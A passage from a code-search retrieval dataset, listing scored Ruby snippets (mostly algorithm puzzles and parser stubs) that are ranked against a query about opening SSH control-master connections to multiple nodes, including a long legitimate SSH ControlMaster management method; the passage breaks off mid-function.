"text": "def to_leet(str)\n scroll = {\n \"a\".to_sym => [0, ['4', '@']],\n \"b\".to_sym => [0, ['|3', '8']],\n \"d\".to_sym => [0, ['|)', 'o|']],\n \"e\".to_sym => [0, ['3']],\n \"f\".to_sym => [0, ['|=']],\n \"g\".to_sym => [0, ['9', '6']],\n \"h\".to_sym => [0, ['|-|', ']-[', '}-{', '(-)', ')-(', '#']],\n \"i\".to_sym => [0, ['1', '!', '][']],\n \"j\".to_sym => [0, ['_|']],\n \"k\".to_sym => [0, ['|<', '|{']],\n \"l\".to_sym => [0, ['|_']],\n \"n\".to_sym => [0, ['|\\\\|']],\n \"o\".to_sym => [0, ['0']],\n \"p\".to_sym => [0, ['|2', '|D']],\n \"q\".to_sym => [0, ['(,)']],\n \"r\".to_sym => [0, ['|Z', '|?']],\n \"s\".to_sym => [0, ['5', '$']],\n \"t\".to_sym => [0, ['+', '7']],\n \"v\".to_sym => [0, ['|/', '\\\\/']],\n \"w\".to_sym => [0, ['\\\\^/', '//']],\n \"x\".to_sym => [0, ['><', '}{']],\n \"y\".to_sym => [0, [\"`/\"]],\n \"z\".to_sym => [0, ['(\\\\)']]\n }\n\n arr = str.split('')\n finalResult = ''\n\n\n 0.upto(arr.length - 1) do |i|\n if arr[i] != ' '\n if scroll.keys.include? arr[i].to_sym\n if scroll[arr[i].to_sym][0] == scroll[arr[i].to_sym][1].length\n scroll[arr[i].to_sym][0] = 0;\n end\n finalResult += scroll[arr[i].to_sym][1][scroll[arr[i].to_sym][0]]\n scroll[arr[i].to_sym][0] = scroll[arr[i].to_sym][0] + 1\n else\n finalResult += arr[i]\n end\n else\n finalResult += arr[i]\n end\n end\n\n finalResult;\nend",
"title": ""
},
{
"docid": "e6bd45755c1fa9d65399a28ba0d56f3e",
"score": "0.4739233",
"text": "def _reduce_369(val, vofs)\n\t\t # exc_var: tASSOC lhs\n result = val[vofs + 1]\n \n result\nend",
"title": ""
},
{
"docid": "99381b73be250fc4462fe7844950b127",
"score": "0.47361508",
"text": "def icecreamParlor(m, arr)\n arr.each.with_index do |element1, index1|\n arr.each.with_index do |element2, index2|\n if((element1 + element2) == m && (index1 != index2))\n return [index1+1, index2+1]\n end\n end\n end\n\nend",
"title": ""
},
{
"docid": "ac11ddea212673134c388ade8cbabe42",
"score": "0.47308797",
"text": "def z_function(str)\n zarray = Array.new(str.length, 0)\n zarray[0] = str.length\n left = 0; right = 0; i = 1\n while i < str.length\n if i > right\n j = 0; k = i\n while k < str.length and str[j] == str[k]\n j += 1\n k += 1\n end\n zarray[i] = j\n if j > 0\n left, right = i, i+j-1\n end\n else\n z = zarray[i-left]\n s = right-i+1\n if z < s\n zarray[i] = z\n else\n j, k = s, s+i\n while k < str.length and str[j] == str[k]\n j += 1\n k += 1\n end\n zarray[i] = j\n left, right = i, i+j-1\n end\n end\n i += 1\n end\n return zarray\nend",
"title": ""
},
{
"docid": "8e90493e10830616ecbe56fbc80278af",
"score": "0.47302872",
"text": "def processHits(hits, buffer)\r\n printf (\"hits = %d\\n\", hits);\r\n ptr = buffer.unpack(\"I*\")\r\n p = 0\r\n for i in 0...hits \t#/* for each hit */\r\n names = ptr[p]\r\n printf (\" number of names for hit = %d\\n\", names); p+=1;\r\n printf(\" z1 is %g;\", ptr[p].to_f/0xffffffff); p+=1;\r\n printf(\" z2 is %g\\n\", ptr[p].to_f/0xffffffff); p+=1;\r\n printf (\" the name is \");\r\n for j in 0...names #\t/* for each name */\r\n printf (\"%d \", ptr[p]); p+=1\r\n end\r\n printf (\"\\n\");\r\n end\r\nend",
"title": ""
},
{
"docid": "fa20c37c26ee8e5ef6a6984feae4e61d",
"score": "0.4729007",
"text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n table = {\n 'A' => 1,\n 'C' => 2,\n 'G' => 3,\n 'T' => 4\n }\n \n p.each_with_index.map do |start, i|\n finish = q[i]\n s[start..finish].chars.uniq.map do |c|\n table[c]\n end.min\n end\nend",
"title": ""
},
{
"docid": "27061cdcd0b820d13f036d52a218b252",
"score": "0.47287712",
"text": "def _reduce_232(val, vofs)\n\t\t # \"call_args: command\" \n warning( \"parenthesize argument(s) for future version\")\n # result = s(:array, val_[0])\n result = RubyRpCallArgs.s( val[vofs ])\n \n result\nend",
"title": ""
},
{
"docid": "39f6209350b960b943d933a376f28bba",
"score": "0.47272316",
"text": "def max_length_fast s\n # pass -1 as param so that when item no exists in hash return default is -1.\n my_hs = Hash.new(-1)\n start = 0\n ans = 0\n # each-with_index equavalent to for loop in java.\n s.chars.each_with_index do |c, idx|\n # if char c is not existed in my hash return -1 which is less than start.\n if my_hs[c] >= start\n # if c is found in the hash, increment to the next starting point of the substring.\n start = my_hs[c] + 1\n else\n # the idx will be incremented by each iteration.\n ans = [ans, (idx - start + 1)].max\n end\n my_hs[c] = idx\n end\n ans\nend",
"title": ""
},
{
"docid": "a367cbcd16b29bbd69e3cddff3737981",
"score": "0.47268212",
"text": "def look_and_say(arr)\n result = []\n current = arr[0]\n count = 0\n\n arr.each_with_index do |num, idx|\n if current == num\n count += 1\n if result.empty?\n result << [count, current]\n else\n result[-1] = [count, current]\n end\n else\n count = 1\n result << [count, num]\n current = arr[idx]\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "a9aae9d1621b209df62ec0efa8df9a34",
"score": "0.4725469",
"text": "def test_centered_order\n a = rand_array(7, 0, 100)\n b = a.zero_mean\n d = {}\n b.each_index do |i|\n d[b[i]] = a[i]\n end\n\n aa = a.find_cvs_recursive\n bb = b.find_cvs_recursive\n\n abb = bb.map { |e| d[e] }\n if abb.cvs_interval_length != aa.cvs_interval_length\n print abb.cvs_interval_length, \" : \", abb, \"\\n\", aa.cvs_interval_length, \" : \", aa, \"\\n\", bb.cvs_interval_length, \" : \", bb, \"\\n\"\n end\nend",
"title": ""
},
{
"docid": "908fd8fdb6f7b96d8a78cedec89171c8",
"score": "0.47173554",
"text": "def av_pairs; end",
"title": ""
},
{
"docid": "eeae8c5a74d3c17989bfd5bd399a6f31",
"score": "0.4709793",
"text": "def two_d_translate(arr)\n\tcount = 0\n \tarry = []\n arr.each do |subarray|\n count = subarray[1]\n subarray.each do |elem|\n while count > 0\n arry << subarray[0]\n count -= 1\n end\n end\n end\n return arry\nend",
"title": ""
},
{
"docid": "62d81378f2a7c8c55837d0d44fcb860b",
"score": "0.47088206",
"text": "def make_proxmap(array)\n running_total = 0\n prox_map = Array.new(array.length) { 0 }\n array.each_index do |i|\n if array[i].zero?\n prox_map[i] = -1\n else\n prox_map[i] = running_total\n running_total += array[i]\n end\n end\n prox_map\nend",
"title": ""
},
{
"docid": "a9dd648a5d0d2e7d56223e7c753f5e2e",
"score": "0.470581",
"text": "def telegraphical()\n end",
"title": ""
},
{
"docid": "99837c89d79de120580d8c11ec1a227a",
"score": "0.47040397",
"text": "def m214; 14; end",
"title": ""
},
{
"docid": "6d24018dcb86920c561f58dc114853d3",
"score": "0.47028556",
"text": "def to_alg(arr)\n #make sure to look at this. if people go off the board ie have a value of -2 it might grab something wrong\n unless (1..8).include?(arr[0]) && (1..8).include?(arr[1])\n return :z9\n else\n letters = ['a','b','c','d','e','f','g','h']\n letter = letters[arr[0]-1]\n return (letter + arr[1].to_s).to_sym\n end\nend",
"title": ""
},
{
"docid": "8cd3bc6d6c26232b16435f2711f15478",
"score": "0.4702375",
"text": "def buddy(start, nd)\n (start..nd).each do |n|\n t = s(n)\n next if t < n\n return \"(#{n} #{t-1})\" if s(t-1) == n+1\n end\n\n \"Nothing\"\nend",
"title": ""
},
{
"docid": "6dcd9778c106e2f05327024b931dfcae",
"score": "0.47009006",
"text": "def ArithGeo(arr)\n\n #test for arithmetic sequence first\n last = arr[1]\n difference = arr[1] - arr[0]\n arithmetic_sequence = true\n #loop invariant = ??\n (2...arr.size).each do |i|\n last_diff = difference\n difference = arr[i] - last\n if difference != last_diff\n arithmetic_sequence = false\n break;\n end\n last = arr[i]\n end\n #test for geometric sequence next\n last = arr[1]\n difference = arr[1] / arr[0]\n geometric_sequence = true\n (2...arr.size).each do |i|\n last_diff = difference\n difference = arr[i] / last\n if difference != last_diff\n geometric_sequence = false\n break;\n end\n last = arr[i]\n end\n return \"Arithmetic\" if arithmetic_sequence\n return \"Geometric\" if geometric_sequence\n return \"-1\"\n\nend",
"title": ""
},
{
"docid": "bb7b6915c9b5316848aaeb6f699a6c92",
"score": "0.47001284",
"text": "def solution(s, _k)\n # write your code in Ruby 2.2\n\n len = s.length\n arr = s.chars\n i = 0\n current_string = arr[0]\n counter = 0\n compressed_string = ''\n while i <= len\n if current_string == arr[i]\n counter += 1\n else\n current_string = counter.to_s + current_string\n compressed_string += current_string\n current_string = arr[i]\n counter = 1\n end\n i += 1\n end\n p compressed_string\n\n compressed_string.length\nend",
"title": ""
},
{
"docid": "082f71904c5f076c9ac9f24d2e615d6e",
"score": "0.4696156",
"text": "def find(digits)\n # Generated by gen14.rb\n # 371010124515891677925107\n prefixes = [\n [3, 1, 1, 4, 9], # 0\n [7, 5, 6, 0], # 1\n [1, 1, 1, 4, 9], # 2\n [0, 1, 1, 4, 9], # 3\n [1, 1, 4, 9], # 4\n [0, 1, 4, 9], # 5\n [1, 4, 9], # 6\n [2, 1, 8, 1], # 7\n [4, 9], # 8\n [5, 6, 0], # 9\n ].map(&:freeze).freeze\n suffix = [7]\n\n # first starts at 4\n first_on_suffix = false\n first_track = prefixes[0]\n first_pos = 1\n # second starts at 13\n second_on_suffix = false\n second_track = prefixes[0]\n second_pos = 4\n\n size = 24\n next_write = 31\n\n # state_transitions: good_digits -> new_digit -> Integer (new_good_digits)\n # It's expected that we'll then index into state_transitions with new_good_digits.\n #\n # Let's skip that extra indexing and precompute it, with:\n # next_state: good_digits -> new_digit -> Array (new_digit -> Array)\n #\n # As can be seen, this will be a self-referential structure.\n # When the result is nil, we have all the digits.\n next_state = Array.new(digits.size) { [] }\n next_state.zip(state_transitions(digits)) { |dst, src|\n src.each_with_index { |new_good_digits, i|\n dst[i] = next_state[new_good_digits]\n }\n }\n next_state.each(&:freeze).freeze\n state = next_state[0]\n\n score1 = first_track[first_pos]\n score2 = second_track[second_pos]\n\n # while true is faster than loop\n # https://github.com/JuanitoFatas/fast-ruby#loop-vs-while-true-code\n while true\n new_score = score1 + score2\n\n # Normally, you'd write new_scores = new_score >= 10 ? new_score.divmod(10) : [new_score]\n # and then iterate over new_scores.\n # Instead, here we manually unroll that loop.\n # Unfortunately, the fastest way was code duplication.\n\n if new_score >= 10\n new_score -= 10\n return size + 1 - digits.size unless (state = state[1])\n if size == next_write\n suffix << 1\n next_write += 2\n end\n size += 1\n end\n\n return size + 1 - digits.size unless (state = state[new_score])\n if size == next_write\n suffix << new_score\n next_write += 1 + new_score\n end\n size += 1\n\n unless (score1 = first_track[first_pos += 1])\n first_pos = 0\n if first_on_suffix\n first_track = prefixes[next_write - size]\n first_on_suffix = false\n else\n first_track = suffix\n first_on_suffix = true\n end\n score1 = first_track[0]\n end\n unless (score2 = second_track[second_pos += 1])\n second_pos = 0\n if second_on_suffix\n second_track = prefixes[next_write - size]\n second_on_suffix = false\n else\n second_track = suffix\n second_on_suffix = true\n end\n score2 = second_track[0]\n end\n end\nend",
"title": ""
},
{
"docid": "b9198f90037aa10cff9e850dace049fd",
"score": "0.4695605",
"text": "def method1(s)\n def sub_line(a)\n 1 while a.sub!(/(^[^\\t]*)\\t(\\t*)/){$1+' '*(8-$1.size%8+8*$2.size)}\n a\n end\n\n result = \"\"\n s.each { |line| result << sub_line(line) }\n result\nend",
"title": ""
},
{
"docid": "48f6ccd13854a541bfcb18ff7c741f02",
"score": "0.4695319",
"text": "def part1(input)\n twos = threes = 0\n\n # For each ID, bucket each char and count their instances within the ID.\n # Originally, I'd tried to sort the chars and use a regex, but getting\n # around the awkwardness of backtracking and detecting the twos that aren't\n # also threes (or more) wasn't worth the effort on this exercise.\n input.each do |id|\n counts = id.chars.group_by(&:to_s).values.map(&:size)\n\n twos += 1 if counts.include?(2)\n threes += 1 if counts.include? (3)\n end\n\n return twos * threes\nend",
"title": ""
},
{
"docid": "5928f8efe9c6c2d408ea21a4cdce83ad",
"score": "0.4693916",
"text": "def preliminary?; end",
"title": ""
},
{
"docid": "665f85ecbbc4ae36e29a64cc1a2672f6",
"score": "0.46922538",
"text": "def recognize_line( lines )\n chars = []\n lines.each do |line|\n char = 0\n line.split(//).each_slice( 3 ) do |triplet|\n chars[char] ||= []\n chars[char] << triplet.join\n char += 1\n end\n end\n puts chars.join.inspect\nend",
"title": ""
},
{
"docid": "be9a30166b93ff5de03358061f640541",
"score": "0.46911055",
"text": "def find_workable(maps, previous_digits)\r\n #If there's no criteria to meet, then what we have already will work\r\n return [previous_digits] if maps.empty?\r\n\r\n #Go through the criteria\r\n matches = []\r\n maps.each do |m|\r\n (m[previous_digits.last] || []).each do |next_two_digits|\r\n matches += find_workable(maps - [m], previous_digits + [next_two_digits])#.map { |s| previous_digits + s }\r\n end\r\n end\r\n #puts \"RETURN -- #{maps.count} maps, #{previous_digits.inspect}, #{matches}\"\r\n matches\r\nend",
"title": ""
},
{
"docid": "a3879d37a76dbc826e5324ec5f98a48c",
"score": "0.46898413",
"text": "def censored_values; end",
"title": ""
},
{
"docid": "e0f956fb48d138dcf1ea4caadef9be62",
"score": "0.46894768",
"text": "def find_ps\n ps = []\n (1..292).each do |a|\n limit_b = 585 - a\n (a + 1..limit_b).each do |b|\n limit_c = 1000 - (a + b)\n (b + 1..limit_c).each do |c|\n break if c ** 2 > a ** 2 + b ** 2\n ps << (a + b + c) if (a ** 2 + b ** 2 == c ** 2)\n end\n end\n end\n h = Hash.new(0)\n ps.each { |p| h[p] += 1 }\n h.sort { |x, y| x[1] <=> y[1] } .last[0]\nend",
"title": ""
},
{
"docid": "b047ba81677c38abac97c6ee983bb1af",
"score": "0.46873772",
"text": "def next_pos(idx,b)\n count = 1\n while b[idx + 1 + count].nil?\n count += 1\n end\n return idx + count\nend",
"title": ""
},
{
"docid": "66da8a53b1b76e2c8cdebd9beb16b095",
"score": "0.46871474",
"text": "def combine_combo_creator(total_lines, width, offsets)\n # puts \"Asked: Total Lines: #{total_lines} Line Count: #{width} Offsets: #{offsets.join(',')}\"\n if not offsets or offsets.length == 0\n # puts \" Setting offsets to 0\"\n offsets = [0,]\n end\n if width < 1\n width = 1\n end\n\n index = 0\n lines = []\n new_offsets = []\n reset_next_offset = false\n\n # Reverse the order from fastest to slowest\n offsets.each_with_index do |offset, index|\n 0.upto(width-1) do |line_offset|\n lines << (offset + line_offset)\n end\n if lines[-1] >= total_lines - 1\n # If we are the slowest, that means we are done with this iteration.\n if index == offsets.length - 1\n new_offset_count = offsets.length + 1\n # Loosely follow the Fibonacci sequence when calculating width\n width = (new_offset_count * 1.61803398).round\n new_offsets = []\n # 0 to offsets.length creates one additional offset\n 0.upto(offsets.length) do |new_offset_num|\n new_offsets << (new_offset_num * width)\n end\n\n # We need the lowest offset first. Oops.\n new_offsets.reverse!\n else\n # Move to the next available slot.. next offset will take the one before.\n new_offsets << offsets[index+1] + (width * 2)\n reset_next_offset = true\n end\n elsif reset_next_offset\n new_offsets << (offset + width)\n reset_next_offset = false\n # The first one always rotates\n elsif index == 0\n new_offsets << (offset + width)\n reset_next_offset = false\n # The others stay still normally.\n else\n new_offsets << offset\n reset_next_offset = false\n end\n end\n\n return [width, new_offsets, lines]\nend",
"title": ""
},
{
"docid": "17e6bd05bb37ca20b6b7512aeac0ac0a",
"score": "0.46837634",
"text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n \n mapping = {\n 'A' => 1, \n 'C' => 2,\n 'G' => 3,\n 'T' => 4\n }\n n = s.size\n dna = s.split('').map {|e| mapping[e]}\n occurrences = Hash.new {|h,k| h[k] = Array.new(n+1, 0)}\n \n mapping.values.each do |value|\n for i in 1..n\n occurrences[value][i] = occurrences[value][i - 1]\n occurrences[value][i] += 1 if dna[i-1] == value\n end\n end\n \n result = []\n p.zip(q).each do |from, to|\n mapping.values.each do |value|\n if occurrences[value][from] != occurrences[value][to + 1]\n result << value\n break\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.468152",
"text": "def desired; end",
"title": ""
},
{
"docid": "d9666bf9169b61bfe98a59f46db1b7a4",
"score": "0.46804422",
"text": "def ptn(c,a)\n if a.size == 1 then\n return [a]\n end\n ret = Array.new\n # 重ならないパターン\n ret += a.perms\n # 重なるパターン\n h1 = Hash.new\n for i in 0..a.size-1\n for j in i+1..a.size-1\n key = [a[i], 0, a[j]].to_s\n if !h1.key?(key) then\n h1.store(key, nil)\n h2 = Hash.new\n # a[i]とa[j]を範囲をずらしながら重ねる\n for k in 0..a[i].size+a[j].size\n t = [0]*a[j].size + a[i] + [0]*a[j].size\n for m in 0..a[j].size-1\n t[k+m] += a[j][m]\n end\n # 余分な0を取り除く\n t.delete(0)\n # 4より大きい値がないかチェック\n next if t.any? {|v| v > 4}\n # 9より長くないかチェック\n next if t.size >9\n # 重複チェック\n if !h2.key?(t.to_s) then\n h2.store(t.to_s, nil)\n # 残り\n t2 = a.dup\n t2.delete_at(i)\n t2.delete_at(j-1)\n # 再帰呼び出し\n r = ptn(c+1,[t]+t2)\n #if c==0\n # printf(\"%d\\n%s\\n--\\n\",c,r)\n #end\n ret += r\n end\n end\n end\n end\n end\n return ret\nend",
"title": ""
}
] |
3ab243e190d88118d6b76d7ea6d2518b
|
Open an SSH control master to multiplex connections to a given list of nodes. This method is reentrant and reuses the same control masters. It is multiprocesses:
|
[
{
"docid": "7174d433de3c24230bcddc36f1914f03",
"score": "0.79373664",
"text": "def with_ssh_master_to(nodes, timeout: nil, no_exception: false)\n nodes = [nodes] if nodes.is_a?(String)\n with_platforms_ssh(nodes: nodes) do\n # List of user_ids that acquired a lock, per node\n user_locks = {}\n user_locks_mutex = Mutex.new\n begin\n if @ssh_use_control_master\n @nodes_handler.for_each_node_in(\n nodes,\n parallel: true,\n nbr_threads_max: MAX_THREADS_CONTROL_MASTER,\n progress: log_debug? ? 'Getting SSH ControlMasters' : nil\n ) do |node|\n with_lock_on_control_master_for(node) do |current_users, user_id|\n working_master = false\n ssh_exec = ssh_exec_for(node)\n ssh_url = \"hpc.#{node}\"\n if current_users.empty?\n log_debug \"[ ControlMaster - #{ssh_url} ] - Creating SSH ControlMaster...\"\n exit_status = nil\n if @nodes_handler.get_ssh_session_exec_of(node) == false\n # Here we have to create a ControlMaster using an interactive session, as the SSH server prohibits ExecSession, and so command executions.\n # We'll do that using another terminal spawned in the background.\n if ENV['hpc_interactive'] == 'false'\n error = \"Can't spawn interactive ControlMaster to #{node} in non-interactive mode. You may want to change the hpc_interactive env variable.\"\n raise error unless no_exception\n\n log_error error\n exit_status = :non_interactive\n else\n Thread.new do\n log_debug \"[ ControlMaster - #{ssh_url} ] - Spawn interactive ControlMaster in separate terminal\"\n @cmd_runner.run_cmd \"xterm -e '#{ssh_exec} -o ControlMaster=yes -o ControlPersist=yes #{ssh_url}'\", log_to_stdout: log_debug?\n log_debug \"[ ControlMaster - #{ssh_url} ] - Separate interactive ControlMaster closed\"\n end\n out 'External ControlMaster has been spawned.'\n out 'Please login into it, keep its session opened and press enter here when done...'\n $stdin.gets\n exit_status = 0\n end\n else\n # Create the control master\n ssh_control_master_start_cmd = \"#{ssh_exec}#{@passwords.key?(node) || @auth_password ? '' : ' -o BatchMode=yes'} -o ControlMaster=yes -o ControlPersist=yes #{ssh_url} true\"\n idx_try = 0\n loop do\n exit_status, _stdout, stderr = @cmd_runner.run_cmd ssh_control_master_start_cmd, log_to_stdout: log_debug?, no_exception: true, timeout: timeout\n break if exit_status.zero?\n\n if stderr =~ /System is booting up/\n if idx_try == MAX_RETRIES_FOR_BOOT\n break if no_exception\n\n raise ActionsExecutor::ConnectionError, \"Tried #{idx_try} times to create SSH Control Master with #{ssh_control_master_start_cmd} but system says it's booting up.\"\n end\n # Wait a bit and try again\n idx_try += 1\n log_debug \"[ ControlMaster - #{ssh_url} ] - System is booting up (try ##{idx_try}). Wait #{WAIT_TIME_FOR_BOOT} seconds before trying ControlMaster's creation again.\"\n sleep WAIT_TIME_FOR_BOOT\n elsif no_exception\n break\n else\n raise ActionsExecutor::ConnectionError, \"Error while starting SSH Control Master with #{ssh_control_master_start_cmd}: #{stderr.strip}\"\n end\n end\n end\n if exit_status.zero?\n log_debug \"[ ControlMaster - #{ssh_url} ] - ControlMaster created\"\n working_master = true\n else\n log_error \"[ ControlMaster - #{ssh_url} ] - ControlMaster could not be started\"\n end\n else\n # The control master should already exist\n log_debug \"[ ControlMaster - #{ssh_url} ] - Using existing SSH ControlMaster...\"\n # Test that it is working\n ssh_control_master_check_cmd = \"#{ssh_exec} -O check #{ssh_url}\"\n begin\n exit_status, _stdout, _stderr = @cmd_runner.run_cmd ssh_control_master_check_cmd, log_to_stdout: log_debug?, no_exception: no_exception, timeout: timeout\n rescue CmdRunner::UnexpectedExitCodeError\n raise ActionsExecutor::ConnectionError, \"Error while checking SSH Control Master with #{ssh_control_master_check_cmd}\"\n end\n if exit_status.zero?\n log_debug \"[ ControlMaster - #{ssh_url} ] - ControlMaster checked ok\"\n working_master = true\n else\n log_error \"[ ControlMaster - #{ssh_url} ] - ControlMaster could not be used\"\n end\n end\n # Make sure we register ourselves among the users if the master is working\n if working_master\n user_locks_mutex.synchronize { user_locks[node] = user_id }\n true\n else\n false\n end\n end\n end\n else\n # We have not created any ControlMaster, but still consider the nodes to be ready to connect\n user_locks = nodes.map { |node| [node, nil] }.to_h\n end\n yield user_locks.keys\n ensure\n if @ssh_use_control_master\n user_locks_mutex.synchronize do\n user_locks.each do |node, user_id|\n with_lock_on_control_master_for(node, user_id: user_id) do |current_users, current_user_id|\n ssh_url = \"hpc.#{node}\"\n log_warn \"[ ControlMaster - #{ssh_url} ] - Current process/thread was not part of the ControlMaster users anymore whereas it should have been\" unless current_users.include?(current_user_id)\n remaining_users = current_users - [current_user_id]\n if remaining_users.empty?\n # Stop the ControlMaster\n log_debug \"[ ControlMaster - #{ssh_url} ] - Stopping ControlMaster...\"\n # Dumb verbose ssh! Tricky trick to just silence what is useless.\n # Don't fail if the connection close fails (but still log the error), as it can be seen as only a warning: it means the connection was closed anyway.\n @cmd_runner.run_cmd \"#{ssh_exec_for(node)} -O exit #{ssh_url} 2>&1 | grep -v 'Exit request sent.'\", log_to_stdout: log_debug?, expected_code: 1, timeout: timeout, no_exception: true\n log_debug \"[ ControlMaster - #{ssh_url} ] - ControlMaster stopped\"\n # Uncomment if you want to test that the connection has been closed\n # @cmd_runner.run_cmd \"#{ssh_exec_for(node)} -O check #{ssh_url}\", log_to_stdout: log_debug?, expected_code: 255, timeout: timeout\n else\n log_debug \"[ ControlMaster - #{ssh_url} ] - Leaving ControlMaster started as #{remaining_users.size} processes/threads are still using it.\"\n end\n false\n end\n end\n end\n end\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "4afc34e1bfbb771ad7440c7e91099da9",
"score": "0.6829398",
"text": "def open_ssh_session(cnodes=[])\n handler = Proc.new do |server|\n server[:connection_attempts] ||= 0\n if server[:connection_attempts] < 6\n server[:connection_attempts] += 1\n the_node = nil\n @configurable_nodes.each_pair {|name, node| the_node = node if server.host.eql? node.hostname}\n if the_node.nil?\n @logger.error \"Could not find node matching hostname #{server.host}. This should not happen.\"\n throw :go, :raise\n else\n @logger.info \"Could not connect to Node #{the_node.name}. Trying again in 10 seconds...\"\n end\n sleep 10\n throw :go, :retry\n else\n throw :go, :raise\n end\n end\n\n session = Net::SSH::Multi.start(:concurrent_connections => 10, :on_error => handler)\n if cnodes.empty?\n @configurable_nodes.each_pair {|node_name, node| session.use node.hostname, :user => node.ssh_user, :keys => [keypair_file]}\n else\n cnodes.each {|node| session.use node.hostname, :user => node.ssh_user, :keys => [keypair_file]}\n end\n return session\n end",
"title": ""
},
{
"docid": "605cf96381ba238de1047624f8e6cab7",
"score": "0.65855217",
"text": "def start_control_master(options=build_options)\n cmd = control_master_command(build_options)\n check_key_permissions(env.config.ssh.private_key_path)\n env.ui.info(\"Starting the SSH control master connection: #{cmd[0..20]} <snip>...\")\n aruba_timeout\n run_interactive( cmd )\n env.ui.info(\"Started the SSH control master connection (pid: #{pid}) control path: #{env.config.ssh.get_control_path}.\")\n env.config.ssh.master_connection = session\n end",
"title": ""
},
{
"docid": "0860560b569b12b34c5d8ba4a9abc537",
"score": "0.6402171",
"text": "def master\n cycle @master_connections\n end",
"title": ""
},
{
"docid": "7c6e6e95759f2da31f08e78723390fcb",
"score": "0.63252187",
"text": "def connect\n @configuration.slaves.collect do |slave_details|\n start_host(slave_details)\n end\n end",
"title": ""
},
{
"docid": "8c1e80200e4c492d8564b0dcd721dff6",
"score": "0.6303418",
"text": "def with_connection_to(nodes, no_exception: false, &block)\n with_ssh_master_to(nodes, no_exception: no_exception, &block)\n end",
"title": ""
},
{
"docid": "35205cf745bdf9e5804e34e37208bb3e",
"score": "0.62312955",
"text": "def start\n @queue = Queue.new\n @leader = false\n setup_zk\n logger.info('Waiting to become master Node Manager ...')\n @zk.with_lock(@lock_path) do\n @leader = true\n logger.info('Acquired master Node Manager lock')\n discover_nodes\n initialize_path\n spawn_watchers\n handle_state_reports\n end\n rescue ZK::Exceptions::InterruptedSession, ZKDisconnectedError => ex\n logger.error(\"ZK error while attempting to manage nodes: #{ex.inspect}\")\n logger.error(ex.backtrace.join(\"\\n\"))\n shutdown\n sleep(TIMEOUT)\n retry\n end",
"title": ""
},
{
"docid": "98cd3ee335fcbe72d3422b2d0d504db6",
"score": "0.58646375",
"text": "def connect_to_master(master_socket)\n Chore.logger.info 'PFW: connect protocol started'\n child_connection(master_socket).tap do |conn|\n send_msg(conn, Process.pid)\n signal_ready(conn)\n Chore.logger.info 'PFW: connect protocol completed'\n end\n end",
"title": ""
},
{
"docid": "04709d86f55cbed78c20d6e8e17ce18d",
"score": "0.5833016",
"text": "def connect\n runner_id = \"A\"\n @configuration.slaves.collect do |slave_details|\n runner_id = runner_id.succ\n server = start_host(slave_details, runner_id)\n [server, slave_details, runner_id]\n end.collect do |server, slave_details, runner_id|\n configure_host(server, slave_details, runner_id)\n end.compact\n end",
"title": ""
},
{
"docid": "19e502612792df30b79d5f1b0675904a",
"score": "0.5748395",
"text": "def elect_new_master!\n new_master = hosts.find(&:online?)\n\n change_master_to(new_master, true)\n new_master\n end",
"title": ""
},
{
"docid": "217de4296a37ba602d1af81626f771e8",
"score": "0.573712",
"text": "def ssh_connect(nodes, options={}, &block)\n options ||= {}\n node_list = parse_node_list(nodes)\n\n cap = new_capistrano\n cap.logger = LeapCli::Logger.new(:level => [LeapCli.log_level,3].min)\n user = options[:user] || 'root'\n cap.set :user, user\n cap.set :ssh_options, ssh_options # ssh options common to all nodes\n cap.set :use_sudo, false # we may want to change this in the future\n\n # Allow password authentication when we are bootstraping a single node\n # (and key authentication fails).\n if options[:bootstrap] && node_list.size == 1\n hostname = node_list.values.first.name\n if options[:echo]\n cap.set(:password) { ask \"Root SSH password for #{user}@#{hostname}> \" }\n else\n cap.set(:password) { Capistrano::CLI.password_prompt \" * Typed password will be hidden (use --echo to make it visible)\\nRoot SSH password for #{user}@#{hostname}> \" }\n end\n end\n\n node_list.each do |name, node|\n cap.server node.domain.full, :dummy_arg, node_options(node, options[:ssh_options])\n end\n\n yield cap\n rescue Capistrano::ConnectionError => exc\n # not sure if this will work if english is not the locale??\n if exc.message =~ /Too many authentication failures/\n at_exit {ssh_config_help_message}\n end\n raise exc\n end",
"title": ""
},
{
"docid": "d309f360d3b7781f924cc000a6672f32",
"score": "0.5707929",
"text": "def preconnect(concurrent = nil)\n servers.each{|s| hold(s){}}\n end",
"title": ""
},
{
"docid": "c97e67aefd5ce8d05878c6ca411d67e4",
"score": "0.570125",
"text": "def multi_ssh_exec(servers, command, options={})\n if servers.is_a? Array then server_array=servers; else server_array=[servers]; end\n Net::SSH::Multi.start(:default_user => \"root\") do |session|\n server_array.each { |server| session.use server }\n channels = session.exec command\n session.loop\n failed = channels.select { |c| c[:exit_status] != 0 }\n if failed.any?\n failed.each { |f| puts \"[#{f[:host]}] FAILED!\" } unless options[:dont_display_failed]\n return false\n end\n return true\n end\nend",
"title": ""
},
{
"docid": "a97c59149b514b1d68cdf3e8a4aa3de0",
"score": "0.5695668",
"text": "def instantiate_connections\n @master_pool = Makara::Pool.new('master', self)\n @config_parser.master_configs.each do |master_config|\n @master_pool.add master_config do\n graceful_connection_for(master_config)\n end\n end\n\n @slave_pool = Makara::Pool.new('slave', self)\n @config_parser.slave_configs.each do |slave_config|\n @slave_pool.add slave_config do\n graceful_connection_for(slave_config)\n end\n end\n end",
"title": ""
},
{
"docid": "12a2a5ffd4d94ee55720679116f31a55",
"score": "0.56686485",
"text": "def with_lock_on_control_master_for(node, user_id: nil)\n user_id = \"#{Process.pid}.#{Thread.current.object_id}.#{SecureRandom.uuid}\" if user_id.nil?\n control_master_users_file = \"#{@tmp_dir}/#{@ssh_user}.#{node}.users\"\n # Make sure we remove our token for this control master\n Futex.new(control_master_users_file).open do\n # TODO: Add test case when control file is missing ad when it is stale\n # Get the list of existing process/thread ids using this control master\n existing_users = File.exist?(control_master_users_file) ? File.read(control_master_users_file).split(\"\\n\") : []\n ssh_url = \"hpc.#{node}\"\n connection, connection_user, _gateway, _gateway_user = connection_info_for(node)\n control_path_file = control_master_file(connection, '22', connection_user)\n if existing_users.empty?\n # Make sure there is no stale one.\n if File.exist?(control_path_file)\n log_warn \"[ ControlMaster - #{ssh_url} ] - Removing stale SSH control file #{control_path_file}\"\n File.unlink control_path_file\n end\n elsif !File.exist?(control_path_file)\n # Make sure the control file is still present, otherwise it means 